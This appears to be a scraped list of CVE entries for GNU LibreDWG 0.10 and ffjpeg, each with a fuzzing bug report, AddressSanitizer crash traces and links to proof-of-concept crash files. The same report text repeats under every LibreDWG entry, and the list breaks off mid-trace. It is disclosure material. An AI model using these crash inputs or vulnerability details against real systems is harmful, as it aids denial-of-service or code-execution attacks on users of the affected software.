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CVE-2020-21832

2021-05-17T21:15:07.337

A heap based buffer overflow vulnerability exists in GNU LibreDWG 0.10 via read_2004_compressed_section ../../src/decode.c:2417.

https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574492612

github.com

Hi, After fuzzing libredwg, I found the following bugs on the latest commit on master. Command: ./dwgbmp $PoC **1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16 ``` ================================================================= ==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0) ==20486==The signal is caused by a READ memory access. #0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) #1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce) #2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417 #4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785 #5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352 #6 0x563436ad208d in dwg_decode ../../src/decode.c:246 #7 0x563436464fae in dwg_read_file ../../src/dwg.c:211 #8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111 #9 0x563436463066 in main ../../programs/dwgbmp.c:280 #10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) ```

Several bugs found by fuzzing

https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments

2020-01-15T04:37:59Z

2020-01-16T23:22:04Z

https://github.com/LibreDWG/libredwg/issues/188

CVE-2020-21833

2021-05-17T21:15:07.367

A heap based buffer overflow vulnerability exits in GNU LibreDWG 0.10 via: read_2004_section_classes ../../src/decode.c:2440.

https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574493364

github.com

Hi, After fuzzing libredwg, I found the following bugs on the latest commit on master. Command: ./dwgbmp $PoC **1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16 ``` ================================================================= ==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0) ==20486==The signal is caused by a READ memory access. #0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) #1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce) #2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417 #4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785 #5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352 #6 0x563436ad208d in dwg_decode ../../src/decode.c:246 #7 0x563436464fae in dwg_read_file ../../src/dwg.c:211 #8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111 #9 0x563436463066 in main ../../programs/dwgbmp.c:280 #10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) ```

Several bugs found by fuzzing

https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments

2020-01-15T04:37:59Z

2020-01-16T23:22:04Z

https://github.com/LibreDWG/libredwg/issues/188

CVE-2020-21834

2021-05-17T21:15:07.400

A null pointer deference issue exists in GNU LibreDWG 0.10 via get_bmp ../../programs/dwgbmp.c:164.

https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574492468

github.com

Hi, After fuzzing libredwg, I found the following bugs on the latest commit on master. Command: ./dwgbmp $PoC **1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16 ``` ================================================================= ==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0) ==20486==The signal is caused by a READ memory access. #0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) #1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce) #2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417 #4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785 #5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352 #6 0x563436ad208d in dwg_decode ../../src/decode.c:246 #7 0x563436464fae in dwg_read_file ../../src/dwg.c:211 #8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111 #9 0x563436463066 in main ../../programs/dwgbmp.c:280 #10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) ```

Several bugs found by fuzzing

https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments

2020-01-15T04:37:59Z

2020-01-16T23:22:04Z

https://github.com/LibreDWG/libredwg/issues/188

CVE-2020-21835

2021-05-17T21:15:07.433

A null pointer deference issue exists in GNU LibreDWG 0.10 via read_2004_compressed_section ../../src/decode.c:2337.

https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574493046

github.com

Hi, After fuzzing libredwg, I found the following bugs on the latest commit on master. Command: ./dwgbmp $PoC **1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16 ``` ================================================================= ==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0) ==20486==The signal is caused by a READ memory access. #0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) #1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce) #2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417 #4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785 #5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352 #6 0x563436ad208d in dwg_decode ../../src/decode.c:246 #7 0x563436464fae in dwg_read_file ../../src/dwg.c:211 #8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111 #9 0x563436463066 in main ../../programs/dwgbmp.c:280 #10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) ```

Several bugs found by fuzzing

https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments

2020-01-15T04:37:59Z

2020-01-16T23:22:04Z

https://github.com/LibreDWG/libredwg/issues/188

CVE-2020-21836

2021-05-17T21:15:07.463

A heap based buffer overflow vulnerability exists in GNU LibreDWG 0.10 via read_2004_section_preview ../../src/decode.c:3175.

https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574493437

github.com

Hi, After fuzzing libredwg, I found the following bugs on the latest commit on master. Command: ./dwgbmp $PoC **1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16 ``` ================================================================= ==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0) ==20486==The signal is caused by a READ memory access. #0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) #1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce) #2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417 #4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785 #5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352 #6 0x563436ad208d in dwg_decode ../../src/decode.c:246 #7 0x563436464fae in dwg_read_file ../../src/dwg.c:211 #8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111 #9 0x563436463066 in main ../../programs/dwgbmp.c:280 #10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) ```

Several bugs found by fuzzing

https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments

2020-01-15T04:37:59Z

2020-01-16T23:22:04Z

https://github.com/LibreDWG/libredwg/issues/188

CVE-2020-21838

2021-05-17T21:15:07.493

A heap based buffer overflow vulnerability exits in GNU LibreDWG 0.10 via: read_2004_section_appinfo ../../src/decode.c:2842.

https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574492816

github.com

Hi, After fuzzing libredwg, I found the following bugs on the latest commit on master. Command: ./dwgbmp $PoC **1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16 ``` ================================================================= ==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0) ==20486==The signal is caused by a READ memory access. #0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) #1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce) #2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417 #4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785 #5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352 #6 0x563436ad208d in dwg_decode ../../src/decode.c:246 #7 0x563436464fae in dwg_read_file ../../src/dwg.c:211 #8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111 #9 0x563436463066 in main ../../programs/dwgbmp.c:280 #10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) ```

Several bugs found by fuzzing

https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments

2020-01-15T04:37:59Z

2020-01-16T23:22:04Z

https://github.com/LibreDWG/libredwg/issues/188

CVE-2020-21839

2021-05-17T21:15:07.523

An issue was discovered in GNU LibreDWG 0.10. Crafted input will lead to an memory leak in dwg_decode_eed ../../src/decode.c:3638.

https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574492707

github.com

Hi, After fuzzing libredwg, I found the following bugs on the latest commit on master. Command: ./dwgbmp $PoC **1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16 ``` ================================================================= ==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0) ==20486==The signal is caused by a READ memory access. #0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) #1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce) #2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417 #4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785 #5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352 #6 0x563436ad208d in dwg_decode ../../src/decode.c:246 #7 0x563436464fae in dwg_read_file ../../src/dwg.c:211 #8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111 #9 0x563436463066 in main ../../programs/dwgbmp.c:280 #10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) ```

Several bugs found by fuzzing

https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments

2020-01-15T04:37:59Z

2020-01-16T23:22:04Z

https://github.com/LibreDWG/libredwg/issues/188

CVE-2020-21840

2021-05-17T21:15:07.557

A heap based buffer overflow vulnerability exits in GNU LibreDWG 0.10 via bit_search_sentinel ../../src/bits.c:1985.

https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574493513

github.com

Hi, After fuzzing libredwg, I found the following bugs on the latest commit on master. Command: ./dwgbmp $PoC **1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16 ``` ================================================================= ==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0) ==20486==The signal is caused by a READ memory access. #0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) #1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce) #2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417 #4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785 #5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352 #6 0x563436ad208d in dwg_decode ../../src/decode.c:246 #7 0x563436464fae in dwg_read_file ../../src/dwg.c:211 #8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111 #9 0x563436463066 in main ../../programs/dwgbmp.c:280 #10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) ```

Several bugs found by fuzzing

https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments

2020-01-15T04:37:59Z

2020-01-16T23:22:04Z

https://github.com/LibreDWG/libredwg/issues/188

CVE-2020-21841

2021-05-17T21:15:07.587

A heap based buffer overflow vulnerability exits in GNU LibreDWG 0.10 via bit_read_B ../../src/bits.c:135.

https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574493775

github.com

Hi, After fuzzing libredwg, I found the following bugs on the latest commit on master. Command: ./dwgbmp $PoC **1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16 ``` ================================================================= ==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0) ==20486==The signal is caused by a READ memory access. #0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) #1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce) #2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417 #4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785 #5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352 #6 0x563436ad208d in dwg_decode ../../src/decode.c:246 #7 0x563436464fae in dwg_read_file ../../src/dwg.c:211 #8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111 #9 0x563436463066 in main ../../programs/dwgbmp.c:280 #10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) ```

Several bugs found by fuzzing

https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments

2020-01-15T04:37:59Z

2020-01-16T23:22:04Z

https://github.com/LibreDWG/libredwg/issues/188

CVE-2020-21831

2021-05-17T22:15:07.377

A heap based buffer overflow vulnerability exists in GNU LibreDWG 0.10 via read_2004_section_handles ../../src/decode.c:2637.

https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574493267

github.com

Hi, After fuzzing libredwg, I found the following bugs on the latest commit on master. Command: ./dwgbmp $PoC **1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16 ``` ================================================================= ==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0) ==20486==The signal is caused by a READ memory access. #0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) #1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce) #2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417 #4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785 #5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352 #6 0x563436ad208d in dwg_decode ../../src/decode.c:246 #7 0x563436464fae in dwg_read_file ../../src/dwg.c:211 #8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111 #9 0x563436463066 in main ../../programs/dwgbmp.c:280 #10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) ```

Several bugs found by fuzzing

https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments

2020-01-15T04:37:59Z

2020-01-16T23:22:04Z

https://github.com/LibreDWG/libredwg/issues/188

CVE-2020-21842

2021-05-17T22:15:07.407

A heap based buffer overflow vulnerability exists in GNU LibreDWG 0.10 via read_2004_section_revhistory ../../src/decode.c:3051.

https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574493684

github.com

Hi, After fuzzing libredwg, I found the following bugs on the latest commit on master. Command: ./dwgbmp $PoC **1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16 ``` ================================================================= ==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0) ==20486==The signal is caused by a READ memory access. #0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) #1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce) #2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417 #4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785 #5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352 #6 0x563436ad208d in dwg_decode ../../src/decode.c:246 #7 0x563436464fae in dwg_read_file ../../src/dwg.c:211 #8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111 #9 0x563436463066 in main ../../programs/dwgbmp.c:280 #10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) ```

Several bugs found by fuzzing

https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments

2020-01-15T04:37:59Z

2020-01-16T23:22:04Z

https://github.com/LibreDWG/libredwg/issues/188

CVE-2020-21843

2021-05-17T22:15:07.437

A heap based buffer overflow vulnerability exits in GNU LibreDWG 0.10 via bit_read_RC ../../src/bits.c:318.

https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574493857

github.com

Hi, After fuzzing libredwg, I found the following bugs on the latest commit on master. Command: ./dwgbmp $PoC **1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16 ``` ================================================================= ==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0) ==20486==The signal is caused by a READ memory access. #0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) #1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce) #2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417 #4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785 #5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352 #6 0x563436ad208d in dwg_decode ../../src/decode.c:246 #7 0x563436464fae in dwg_read_file ../../src/dwg.c:211 #8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111 #9 0x563436463066 in main ../../programs/dwgbmp.c:280 #10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) ```

Several bugs found by fuzzing

https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments

2020-01-15T04:37:59Z

2020-01-16T23:22:04Z

https://github.com/LibreDWG/libredwg/issues/188

CVE-2020-21844

2021-05-17T22:15:07.463

GNU LibreDWG 0.10 is affected by: memcpy-param-overlap. The impact is: execute arbitrary code (remote). The component is: read_2004_section_header ../../src/decode.c:2580.

https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574493607

github.com

Hi, After fuzzing libredwg, I found the following bugs on the latest commit on master. Command: ./dwgbmp $PoC **1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16 ``` ================================================================= ==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0) ==20486==The signal is caused by a READ memory access. #0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) #1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce) #2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417 #4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785 #5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352 #6 0x563436ad208d in dwg_decode ../../src/decode.c:246 #7 0x563436464fae in dwg_read_file ../../src/dwg.c:211 #8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111 #9 0x563436463066 in main ../../programs/dwgbmp.c:280 #10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4) ```

Several bugs found by fuzzing

https://api.github.com/repos/LibreDWG/libredwg/issues/188/comments

2020-01-15T04:37:59Z

2020-01-16T23:22:04Z

https://github.com/LibreDWG/libredwg/issues/188

CVE-2020-23851

2021-05-18T15:15:07.693

A stack-based buffer overflow vulnerability exists in ffjpeg through 2020-07-02 in the jfif_decode(void *ctxt, BMP *pb) function at ffjpeg/src/jfif.c:513:28, which could cause a denial of service by submitting a malicious jpeg image.

https://github.com/rockcarry/ffjpeg/issues/27

github.com

ffjpeg "jfif_decode" function stack-buffer-overflow vulerability Description: There is a stack-buffer-overflow bug in jfif_decode(void *ctxt, BMP *pb) function at ffjpeg/src/jfif.c:513:28 An attacker can exploit this bug to cause a Denial of Service (DoS) by submitting a malicious jpeg image. The bug is caused by the dangerous pointer variable using as follow: x = ((mcui % mcuc) * mcuw + h * 8) * jfif->comp_info[c].samp_factor_h / sfh_max; y = ((mcui / mcuc) * mcuh + v * 8) * jfif->comp_info[c].samp_factor_v / sfv_max; idst = yuv_datbuf[c] + y * yuv_stride[c] + x; the variable yuv_datbuf is an integer pointer array, but there is no security check before the using of yuv_datbuf (jfif.c: line 513). We used AddressSanitizer instrumented in ffjpeg and triggered this bug, the output of asan as follow: ================================================================= ==4436==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff9fa0bfd8 at pc 0x0000004f345f bp 0x7fff9f READ of size 8 at 0x7fff9fa0bfd8 thread T0 #0 0x4f345e in jfif_decode /root/Downloads/fuzz_code/ffjpeg/src/jfif.c:513:28 #1 0x4ed951 in main /root/Downloads/fuzz_code/ffjpeg/src/ffjpeg.c:24:9 #2 0x7fcbfd63eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #3 0x41b929 in _start (/root/Downloads/fuzz_code/ffjpeg/src/ffjpeg+0x41b929) Address 0x7fff9fa0bfd8 is located in stack of thread T0 at offset 280 in frame #0 0x4f120f in jfif_decode /root/Downloads/fuzz_code/ffjpeg/src/jfif.c:378 This frame has 5 object(s): [32, 160) 'ftab' (line 381) [192, 208) 'dc' (line 382) [224, 236) 'yuv_stride' (line 387) [256, 280) 'yuv_datbuf' (line 389) <== Memory access at offset 280 overflows this variable [320, 576) 'du' (line 476) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow /root/Downloads/fuzz_code/ffjpeg/src/jfif.c:513:28 in jfif_decod Shadow bytes around the buggy address: 0x100073f397a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100073f397b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100073f397c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100073f397d0: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 00 0x100073f397e0: 00 00 00 00 00 00 00 00 00 00 00 00 